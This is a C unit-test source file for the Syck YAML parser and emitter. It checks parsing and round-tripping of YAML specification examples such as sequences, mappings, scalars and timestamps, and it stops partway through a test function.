// // YTS.c // // $Author: why $ // $Date: 2005/09/20 23:42:51 $ // // Copyright (C) 2004 why the lucky stiff // // Well, this is the Yaml Testing Suite in the form of a plain C // API. Basically, this is as good as C integration gets for Syck. // You've got to have a symbol table around. From there, you can // query your data. // #include "system.h" #include "syck.h" #include "CuTest.h" #include "debug.h" /* YAML test node structures */ #define T_STR 10 #define T_SEQ 20 #define T_MAP 30 #define T_END 40 #define ILEN 2 struct test_node { int type; char *tag; char *key; struct test_node *value; }; struct test_node end_node = { T_END }; /* * Assertion which compares a YAML document with an * equivalent set of test_node structs. */ SYMID syck_copy_handler(p, n) SyckParser *p; SyckNode *n; { int i = 0; struct test_node *tn = S_ALLOC_N( struct test_node, 1 ); switch ( n->kind ) { case syck_str_kind: tn->type = T_STR; tn->key = syck_strndup( n->data.str->ptr, n->data.str->len ); tn->value = 0; break; case syck_seq_kind: { struct test_node *val; struct test_node *seq = S_ALLOC_N( struct test_node, n->data.list->idx + 1 ); tn->type = T_SEQ; tn->key = 0; for ( i = 0; i < n->data.list->idx; i++ ) { SYMID oid = syck_seq_read( n, i ); syck_lookup_sym( p, oid, (char **)&val ); seq[i] = val[0]; } seq[n->data.list->idx] = end_node; tn->value = seq; } break; case syck_map_kind: { struct test_node *val; struct test_node *map = S_ALLOC_N( struct test_node, ( n->data.pairs->idx * 2 ) + 1 ); tn->type = T_MAP; tn->key = 0; for ( i = 0; i < n->data.pairs->idx; i++ ) { SYMID oid = syck_map_read( n, map_key, i ); syck_lookup_sym( p, oid, (char **)&val ); map[i * 2] = val[0]; oid = syck_map_read( n, map_value, i ); syck_lookup_sym( p, oid, (char **)&val ); map[(i * 2) + 1] = val[0]; } map[n->data.pairs->idx * 2] = end_node; tn->value = map; } break; } tn->tag = 0; if ( n->type_id != NULL ) { tn->tag = syck_strndup( n->type_id, strlen( n->type_id ) ); } return syck_add_sym( p, (char *) tn ); } int syck_free_copies( char *key, struct test_node *tn, char *arg ) { if ( tn != NULL ) { switch ( tn->type ) { case T_STR: S_FREE( tn->key ); break; case T_SEQ: case T_MAP: S_FREE( tn->value ); break; } if ( tn->tag != NULL ) S_FREE( tn->tag ); S_FREE( tn ); } tn = NULL; return ST_CONTINUE; } void CuStreamCompareX( CuTest* tc, struct test_node *s1, struct test_node *s2 ) { int i = 0; while ( 1 ) { CuAssertIntEquals( tc, s1[i].type, s2[i].type ); if ( s1[i].type == T_END ) return; if ( s1[i].tag != 0 && s2[i].tag != 0 ) CuAssertStrEquals( tc, s1[i].tag, s2[i].tag ); switch ( s1[i].type ) { case T_STR: CuAssertStrEquals( tc, s1[i].key, s2[i].key ); break; case T_SEQ: case T_MAP: CuStreamCompareX( tc, s1[i].value, s2[i].value ); break; } i++; } } void CuStreamCompare( CuTest* tc, char *yaml, struct test_node *stream ) { int doc_ct = 0; struct test_node *ystream = S_ALLOC_N( struct test_node, doc_ct + 1 ); /* Set up parser */ SyckParser *parser = syck_new_parser(); syck_parser_str_auto( parser, yaml, NULL ); syck_parser_handler( parser, syck_copy_handler ); syck_parser_error_handler( parser, NULL ); syck_parser_implicit_typing( parser, 1 ); syck_parser_taguri_expansion( parser, 1 ); /* Parse all streams */ while ( 1 ) { struct test_node *ydoc; SYMID oid = syck_parse( parser ); if ( parser->eof == 1 ) break; /* Add document to stream */ syck_lookup_sym( parser, oid, (char **)&ydoc ); ystream[doc_ct] = ydoc[0]; doc_ct++; S_REALLOC_N( ystream, struct test_node, doc_ct + 1 ); } ystream[doc_ct] = end_node; /* Traverse the struct and the symbol table side-by-side */ /* DEBUG: y( stream, 0 ); y( ystream, 0 ); */ CuStreamCompareX( tc, stream, ystream ); /* Free the node tables and the parser */ S_FREE( ystream ); if ( parser->syms != NULL ) st_foreach( parser->syms, (void *)syck_free_copies, 0 ); syck_free_parser( parser ); } /* * Setup for testing N->Y->N. */ void test_output_handler( emitter, str, len ) SyckEmitter *emitter; char *str; long len; { CuString *dest = (CuString *)emitter->bonus; CuStringAppendLen( dest, str, len ); } SYMID build_symbol_table( SyckEmitter *emitter, struct test_node *node ) { switch ( node->type ) { case T_SEQ: case T_MAP: { int i = 0; while ( node->value[i].type != T_END ) { build_symbol_table( emitter, &node->value[i] ); i++; } } return syck_emitter_mark_node( emitter, (st_data_t)node ); default: break; } return 0; } void test_emitter_handler( SyckEmitter *emitter, st_data_t data ) { struct test_node *node = (struct test_node *)data; switch ( node->type ) { case T_STR: syck_emit_scalar( emitter, node->tag, scalar_none, 0, 0, 0, node->key, strlen( node->key ) ); break; case T_SEQ: { int i = 0; syck_emit_seq( emitter, node->tag, seq_none ); while ( node->value[i].type != T_END ) { syck_emit_item( emitter, (st_data_t)&node->value[i] ); i++; } syck_emit_end( emitter ); } break; case T_MAP: { int i = 0; syck_emit_map( emitter, node->tag, map_none ); while ( node->value[i].type != T_END ) { syck_emit_item( emitter, (st_data_t)&node->value[i] ); i++; } syck_emit_end( emitter ); } break; } } void CuRoundTrip( CuTest* tc, struct test_node *stream ) { int i = 0; CuString *cs = CuStringNew(); SyckEmitter *emitter = syck_new_emitter(); /* Calculate anchors and tags */ build_symbol_table( emitter, stream ); /* Build the stream */ syck_output_handler( emitter, test_output_handler ); syck_emitter_handler( emitter, test_emitter_handler ); emitter->bonus = cs; while ( stream[i].type != T_END ) { syck_emit( emitter, (st_data_t)&stream[i] ); syck_emitter_flush( emitter, 0 ); i++; } /* Reload the stream and compare */ /* printf( "-- output for %s --\n%s\n--- end of output --\n", tc->name, cs->buffer ); */ CuStreamCompare( tc, cs->buffer, stream ); CuStringFree( cs ); syck_free_emitter( emitter ); } /* * ACTUAL TESTS FOR THE YAML TESTING SUITE BEGIN HERE * (EVERYTHING PREVIOUS WAS SET UP FOR THE TESTS) */ /* * Example : Trailing tab in plains */ void YtsFoldedScalars_7( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "a" }, { T_STR, 0, "b" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "a: b\t \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Empty Sequence */ void YtsNullsAndEmpties_0( CuTest *tc ) { struct test_node seq[] = { end_node }; struct test_node map[] = { { T_STR, 0, "empty" }, { T_SEQ, 0, 0, seq }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "empty: [] \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Empty Mapping */ void YtsNullsAndEmpties_1( CuTest *tc ) { struct test_node map2[] = { end_node }; struct test_node map1[] = { { T_STR, 0, "empty" }, { T_MAP, 0, 0, map2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, end_node }; CuStreamCompare( tc, /* YAML document */ "empty: {} \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Empty Sequence as Entire Document */ void YtsNullsAndEmpties_2( CuTest *tc ) { struct test_node seq[] = { end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- [] \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Empty Mapping as Entire Document */ void YtsNullsAndEmpties_3( CuTest *tc ) { struct test_node map[] = { end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- {} \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Null as Document */ void YtsNullsAndEmpties_4( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "~" }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- ~ \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example : Empty String */ void YtsNullsAndEmpties_5( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "" }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- '' \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.1: Sequence of scalars */ void YtsSpecificationExamples_0( CuTest *tc ) { struct test_node seq[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "Ken Griffey" }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "- Mark McGwire \n" "- Sammy Sosa \n" "- Ken Griffey \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.2: Mapping of scalars to scalars */ void YtsSpecificationExamples_1( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "hr" }, { T_STR, 0, "65" }, { T_STR, 0, "avg" }, { T_STR, 0, "0.278" }, { T_STR, 0, "rbi" }, { T_STR, 0, "147" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "hr: 65 \n" "avg: 0.278 \n" "rbi: 147 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.3: Mapping of scalars to sequences */ void YtsSpecificationExamples_2( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "Boston Red Sox" }, { T_STR, 0, "Detroit Tigers" }, { T_STR, 0, "New York Yankees" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "New York Mets" }, { T_STR, 0, "Chicago Cubs" }, { T_STR, 0, "Atlanta Braves" }, end_node }; struct test_node map[] = { { T_STR, 0, "american" }, { T_SEQ, 0, 0, seq1 }, { T_STR, 0, "national" }, { T_SEQ, 0, 0, seq2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "american: \n" " - Boston Red Sox \n" " - Detroit Tigers \n" " - New York Yankees \n" "national: \n" " - New York Mets \n" " - Chicago Cubs \n" " - Atlanta Braves \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.4: Sequence of mappings */ void YtsSpecificationExamples_3( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "name" }, { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "hr" }, { T_STR, 0, "65" }, { T_STR, 0, "avg" }, { T_STR, 0, "0.278" }, end_node }; struct test_node map2[] = { { T_STR, 0, "name" }, { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "hr" }, { T_STR, 0, "63" }, { T_STR, 0, "avg" }, { T_STR, 0, "0.288" }, end_node }; struct test_node seq[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "- \n" " name: Mark McGwire \n" " hr: 65 \n" " avg: 0.278 \n" "- \n" " name: Sammy Sosa \n" " hr: 63 \n" " avg: 0.288 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example legacy_A5: Legacy A5 */ void YtsSpecificationExamples_4( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "New York Yankees" }, { T_STR, 0, "Atlanta Braves" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "2001-07-02" }, { T_STR, 0, "2001-08-12" }, { T_STR, 0, "2001-08-14" }, end_node }; struct test_node seq3[] = { { T_STR, 0, "Detroit Tigers" }, { T_STR, 0, "Chicago Cubs" }, end_node }; struct test_node seq4[] = { { T_STR, 0, "2001-07-23" }, end_node }; struct test_node map[] = { { T_SEQ, 0, 0, seq1 }, { T_SEQ, 0, 0, seq2 }, { T_SEQ, 0, 0, seq3 }, { T_SEQ, 0, 0, seq4 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "? \n" " - New York Yankees \n" " - Atlanta Braves \n" ": \n" " - 2001-07-02 \n" " - 2001-08-12 \n" " - 2001-08-14 \n" "? \n" " - Detroit Tigers \n" " - Chicago Cubs \n" ": \n" " - 2001-07-23 \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.5: Sequence of sequences */ void YtsSpecificationExamples_5( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "name" }, { T_STR, 0, "hr" }, { T_STR, 0, "avg" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "65" }, { T_STR, 0, "0.278" }, end_node }; struct test_node seq3[] = { { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "63" }, { T_STR, 0, "0.288" }, end_node }; struct test_node seq[] = { { T_SEQ, 0, 0, seq1 }, { T_SEQ, 0, 0, seq2 }, { T_SEQ, 0, 0, seq3 }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "- [ name , hr , avg ] \n" "- [ Mark McGwire , 65 , 0.278 ] \n" "- [ Sammy Sosa , 63 , 0.288 ] \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.6: Mapping of mappings */ void YtsSpecificationExamples_6( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "hr" }, { T_STR, 0, "65" }, { T_STR, 0, "avg" }, { T_STR, 0, "0.278" }, end_node }; struct test_node map2[] = { { T_STR, 0, "hr" }, { T_STR, 0, "63" }, { T_STR, 0, "avg" }, { T_STR, 0, "0.288" }, end_node }; struct test_node map[] = { { T_STR, 0, "Mark McGwire" }, { T_MAP, 0, 0, map1 }, { T_STR, 0, "Sammy Sosa" }, { T_MAP, 0, 0, map2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "Mark McGwire: {hr: 65, avg: 0.278}\n" "Sammy Sosa: {\n" " hr: 63,\n" " avg: 0.288\n" " }\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.7: Two documents in a stream each with a leading comment */ void YtsSpecificationExamples_7( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "Ken Griffey" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "Chicago Cubs" }, { T_STR, 0, "St Louis Cardinals" }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq1 }, { T_SEQ, 0, 0, seq2 }, end_node }; CuStreamCompare( tc, /* YAML document */ "# Ranking of 1998 home runs\n" "---\n" "- Mark McGwire\n" "- Sammy Sosa\n" "- Ken Griffey\n" "\n" "# Team ranking\n" "---\n" "- Chicago Cubs\n" "- St Louis Cardinals\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.8: Play by play feed from a game */ void YtsSpecificationExamples_8( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "time" }, { T_STR, 0, "20:03:20" }, { T_STR, 0, "player" }, { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "action" }, { T_STR, 0, "strike (miss)" }, end_node }; struct test_node map2[] = { { T_STR, 0, "time" }, { T_STR, 0, "20:03:47" }, { T_STR, 0, "player" }, { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "action" }, { T_STR, 0, "grand slam" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, end_node }; CuStreamCompare( tc, /* YAML document */ "---\n" "time: 20:03:20\n" "player: Sammy Sosa\n" "action: strike (miss)\n" "...\n" "---\n" "time: 20:03:47\n" "player: Sammy Sosa\n" "action: grand slam\n" "...\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.9: Single document with two comments */ void YtsSpecificationExamples_9( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "Sammy Sosa" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "Ken Griffey" }, end_node }; struct test_node map[] = { { T_STR, 0, "hr" }, { T_SEQ, 0, 0, seq1 }, { T_STR, 0, "rbi" }, { T_SEQ, 0, 0, seq2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "hr: # 1998 hr ranking \n" " - Mark McGwire \n" " - Sammy Sosa \n" "rbi: \n" " # 1998 rbi ranking \n" " - Sammy Sosa \n" " - Ken Griffey \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.1: Node for Sammy Sosa appears twice in this document */ void YtsSpecificationExamples_10( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "Sammy Sosa" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "Ken Griffey" }, end_node }; struct test_node map[] = { { T_STR, 0, "hr" }, { T_SEQ, 0, 0, seq1 }, { T_STR, 0, "rbi" }, { T_SEQ, 0, 0, seq2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "---\n" "hr: \n" " - Mark McGwire \n" " # Following node labeled SS \n" " - &SS Sammy Sosa \n" "rbi: \n" " - *SS # Subsequent occurance \n" " - Ken Griffey \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.11: Mapping between sequences */ void YtsSpecificationExamples_11( CuTest *tc ) { struct test_node seq1[] = { { T_STR, 0, "New York Yankees" }, { T_STR, 0, "Atlanta Braves" }, end_node }; struct test_node seq2[] = { { T_STR, 0, "2001-07-02" }, { T_STR, 0, "2001-08-12" }, { T_STR, 0, "2001-08-14" }, end_node }; struct test_node seq3[] = { { T_STR, 0, "Detroit Tigers" }, { T_STR, 0, "Chicago Cubs" }, end_node }; struct test_node seq4[] = { { T_STR, 0, "2001-07-23" }, end_node }; struct test_node map[] = { { T_SEQ, 0, 0, seq3 }, { T_SEQ, 0, 0, seq4 }, { T_SEQ, 0, 0, seq1 }, { T_SEQ, 0, 0, seq2 }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "? # PLAY SCHEDULE \n" " - Detroit Tigers \n" " - Chicago Cubs \n" ": \n" " - 2001-07-23 \n" "\n" "? [ New York Yankees, \n" " Atlanta Braves ] \n" ": [ 2001-07-02, 2001-08-12, \n" " 2001-08-14 ] \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.12: Sequence key shortcut */ void YtsSpecificationExamples_12( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "item" }, { T_STR, 0, "Super Hoop" }, { T_STR, 0, "quantity" }, { T_STR, 0, "1" }, end_node }; struct test_node map2[] = { { T_STR, 0, "item" }, { T_STR, 0, "Basketball" }, { T_STR, 0, "quantity" }, { T_STR, 0, "4" }, end_node }; struct test_node map3[] = { { T_STR, 0, "item" }, { T_STR, 0, "Big Shoes" }, { T_STR, 0, "quantity" }, { T_STR, 0, "1" }, end_node }; struct test_node seq[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, { T_MAP, 0, 0, map3 }, end_node }; struct test_node stream[] = { { T_SEQ, 0, 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "---\n" "# products purchased\n" "- item : Super Hoop\n" " quantity: 1\n" "- item : Basketball\n" " quantity: 4\n" "- item : Big Shoes\n" " quantity: 1\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.13: Literal perserves newlines */ void YtsSpecificationExamples_13( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "\\//||\\/||\n// || ||_\n" }, end_node }; CuStreamCompare( tc, /* YAML document */ "# ASCII Art\n" "--- | \n" " \\//||\\/||\n" " // || ||_\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.14: Folded treats newlines as a space */ void YtsSpecificationExamples_14( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "Mark McGwire's year was crippled by a knee injury." }, end_node }; CuStreamCompare( tc, /* YAML document */ "---\n" " Mark McGwire's\n" " year was crippled\n" " by a knee injury.\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.15: Newlines preserved for indented and blank lines */ void YtsSpecificationExamples_15( CuTest *tc ) { struct test_node stream[] = { { T_STR, 0, "Sammy Sosa completed another fine season with great stats.\n\n 63 Home Runs\n 0.288 Batting Average\n\nWhat a year!\n" }, end_node }; CuStreamCompare( tc, /* YAML document */ "--- > \n" " Sammy Sosa completed another\n" " fine season with great stats.\n" "\n" " 63 Home Runs\n" " 0.288 Batting Average\n" "\n" " What a year!\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.16: Indentation determines scope */ void YtsSpecificationExamples_16( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "name" }, { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "accomplishment" }, { T_STR, 0, "Mark set a major league home run record in 1998.\n" }, { T_STR, 0, "stats" }, { T_STR, 0, "65 Home Runs\n0.278 Batting Average\n" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "name: Mark McGwire \n" "accomplishment: > \n" " Mark set a major league\n" " home run record in 1998.\n" "stats: | \n" " 65 Home Runs\n" " 0.278 Batting Average\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.18: Multiline flow scalars */ void YtsSpecificationExamples_18( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "plain" }, { T_STR, 0, "This unquoted scalar spans many lines." }, { T_STR, 0, "quoted" }, { T_STR, 0, "So does this quoted scalar.\n" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "plain:\n" " This unquoted scalar\n" " spans many lines.\n" "\n" "quoted: \"So does this\n" " quoted scalar.\\n\"\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.19: Integers */ void YtsSpecificationExamples_19( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "canonical" }, { T_STR, 0, "12345" }, { T_STR, 0, "decimal" }, { T_STR, 0, "+12,345" }, { T_STR, 0, "sexagecimal" }, { T_STR, 0, "3:25:45" }, { T_STR, 0, "octal" }, { T_STR, 0, "014" }, { T_STR, 0, "hexadecimal" }, { T_STR, 0, "0xC" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "canonical: 12345 \n" "decimal: +12,345 \n" "sexagecimal: 3:25:45\n" "octal: 014 \n" "hexadecimal: 0xC \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.2: Floating point */ void YtsSpecificationExamples_20( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "canonical" }, { T_STR, 0, "1.23015e+3" }, { T_STR, 0, "exponential" }, { T_STR, 0, "12.3015e+02" }, { T_STR, 0, "sexagecimal" }, { T_STR, 0, "20:30.15" }, { T_STR, 0, "fixed" }, { T_STR, 0, "1,230.15" }, { T_STR, 0, "negative infinity" }, { T_STR, 0, "-.inf" }, { T_STR, 0, "not a number" }, { T_STR, 0, ".NaN" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "canonical: 1.23015e+3 \n" "exponential: 12.3015e+02 \n" "sexagecimal: 20:30.15\n" "fixed: 1,230.15 \n" "negative infinity: -.inf\n" "not a number: .NaN \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.21: Miscellaneous */ void YtsSpecificationExamples_21( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "null" }, { T_STR, 0, "~" }, { T_STR, 0, "true" }, { T_STR, 0, "y" }, { T_STR, 0, "false" }, { T_STR, 0, "n" }, { T_STR, 0, "string" }, { T_STR, 0, "12345" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "null: ~ \n" "true: y\n" "false: n \n" "string: '12345' \n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.22: Timestamps */ void YtsSpecificationExamples_22( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "canonical" }, { T_STR, 0, "2001-12-15T02:59:43.1Z" }, { T_STR, 0, "iso8601" }, { T_STR, 0, "2001-12-14t21:59:43.10-05:00" }, { T_STR, 0, "spaced" }, { T_STR, 0, "2001-12-14 21:59:43.10 -05:00" }, { T_STR, 0, "date" }, { T_STR, 0, "2002-12-14" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "canonical: 2001-12-15T02:59:43.1Z\n" "iso8601: 2001-12-14t21:59:43.10-05:00\n" "spaced: 2001-12-14 21:59:43.10 -05:00\n" "date: 2002-12-14 # Time is noon UTC\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example legacy D4: legacy Timestamps test */ void YtsSpecificationExamples_23( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "canonical" }, { T_STR, 0, "2001-12-15T02:59:43.00Z" }, { T_STR, 0, "iso8601" }, { T_STR, 0, "2001-02-28t21:59:43.00-05:00" }, { T_STR, 0, "spaced" }, { T_STR, 0, "2001-12-14 21:59:43.00 -05:00" }, { T_STR, 0, "date" }, { T_STR, 0, "2002-12-14" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "canonical: 2001-12-15T02:59:43.00Z\n" "iso8601: 2001-02-28t21:59:43.00-05:00\n" "spaced: 2001-12-14 21:59:43.00 -05:00\n" "date: 2002-12-14\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.23: Various explicit families */ void YtsSpecificationExamples_24( CuTest *tc ) { struct test_node map[] = { { T_STR, 0, "not-date" }, { T_STR, "tag:yaml.org,2002:str", "2002-04-28" }, { T_STR, 0, "picture" }, { T_STR, "tag:yaml.org,2002:binary", "R0lGODlhDAAMAIQAAP//9/X\n17unp5WZmZgAAAOfn515eXv\nPz7Y6OjuDg4J+fn5OTk6enp\n56enmleECcgggoBADs=\n" }, { T_STR, 0, "application specific tag" }, { T_STR, "x-private:something", "The semantics of the tag\nabove may be different for\ndifferent documents.\n" }, end_node }; struct test_node stream[] = { { T_MAP, 0, 0, map }, end_node }; CuStreamCompare( tc, /* YAML document */ "not-date: !str 2002-04-28\n" "picture: !binary |\n" " R0lGODlhDAAMAIQAAP//9/X\n" " 17unp5WZmZgAAAOfn515eXv\n" " Pz7Y6OjuDg4J+fn5OTk6enp\n" " 56enmleECcgggoBADs=\n" "\n" "application specific tag: !!something |\n" " The semantics of the tag\n" " above may be different for\n" " different documents.\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.24: Application specific family */ void YtsSpecificationExamples_25( CuTest *tc ) { struct test_node point1[] = { { T_STR, 0, "x" }, { T_STR, 0, "73" }, { T_STR, 0, "y" }, { T_STR, 0, "129" }, end_node }; struct test_node point2[] = { { T_STR, 0, "x" }, { T_STR, 0, "89" }, { T_STR, 0, "y" }, { T_STR, 0, "102" }, end_node }; struct test_node map1[] = { { T_STR, 0, "center" }, { T_MAP, 0, 0, point1 }, { T_STR, 0, "radius" }, { T_STR, 0, "7" }, end_node }; struct test_node map2[] = { { T_STR, 0, "start" }, { T_MAP, 0, 0, point1 }, { T_STR, 0, "finish" }, { T_MAP, 0, 0, point2 }, end_node }; struct test_node map3[] = { { T_STR, 0, "start" }, { T_MAP, 0, 0, point1 }, { T_STR, 0, "color" }, { T_STR, 0, "0xFFEEBB" }, { T_STR, 0, "value" }, { T_STR, 0, "Pretty vector drawing." }, end_node }; struct test_node seq[] = { { T_MAP, "tag:clarkevans.com,2002:graph/circle", 0, map1 }, { T_MAP, "tag:clarkevans.com,2002:graph/line", 0, map2 }, { T_MAP, "tag:clarkevans.com,2002:graph/label", 0, map3 }, end_node }; struct test_node stream[] = { { T_SEQ, "tag:clarkevans.com,2002:graph/shape", 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "# Establish a tag prefix\n" "--- !clarkevans.com,2002/graph/^shape\n" " # Use the prefix: shorthand for\n" " # !clarkevans.com,2002/graph/circle\n" "- !^circle\n" " center: &ORIGIN {x: 73, 'y': 129}\n" " radius: 7\n" "- !^line # !clarkevans.com,2002/graph/line\n" " start: *ORIGIN\n" " finish: { x: 89, 'y': 102 }\n" "- !^label\n" " start: *ORIGIN\n" " color: 0xFFEEBB\n" " value: Pretty vector drawing.\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.26: Ordered mappings */ void YtsSpecificationExamples_26( CuTest *tc ) { struct test_node map1[] = { { T_STR, 0, "Mark McGwire" }, { T_STR, 0, "65" }, end_node }; struct test_node map2[] = { { T_STR, 0, "Sammy Sosa" }, { T_STR, 0, "63" }, end_node }; struct test_node map3[] = { { T_STR, 0, "Ken Griffy" }, { T_STR, 0, "58" }, end_node }; struct test_node seq[] = { { T_MAP, 0, 0, map1 }, { T_MAP, 0, 0, map2 }, { T_MAP, 0, 0, map3 }, end_node }; struct test_node stream[] = { { T_SEQ, "tag:yaml.org,2002:omap", 0, seq }, end_node }; CuStreamCompare( tc, /* YAML document */ "# ordered maps are represented as\n" "# a sequence of mappings, with\n" "# each mapping having one key\n" "--- !omap\n" "- Mark McGwire: 65\n" "- Sammy Sosa: 63\n" "- Ken Griffy: 58\n" , /* C structure of validations */ stream ); CuRoundTrip( tc, stream ); } /* * Example 2.27: Invoice */ void YtsSpecificationExamples_27( CuTest *tc ) { struct test_node 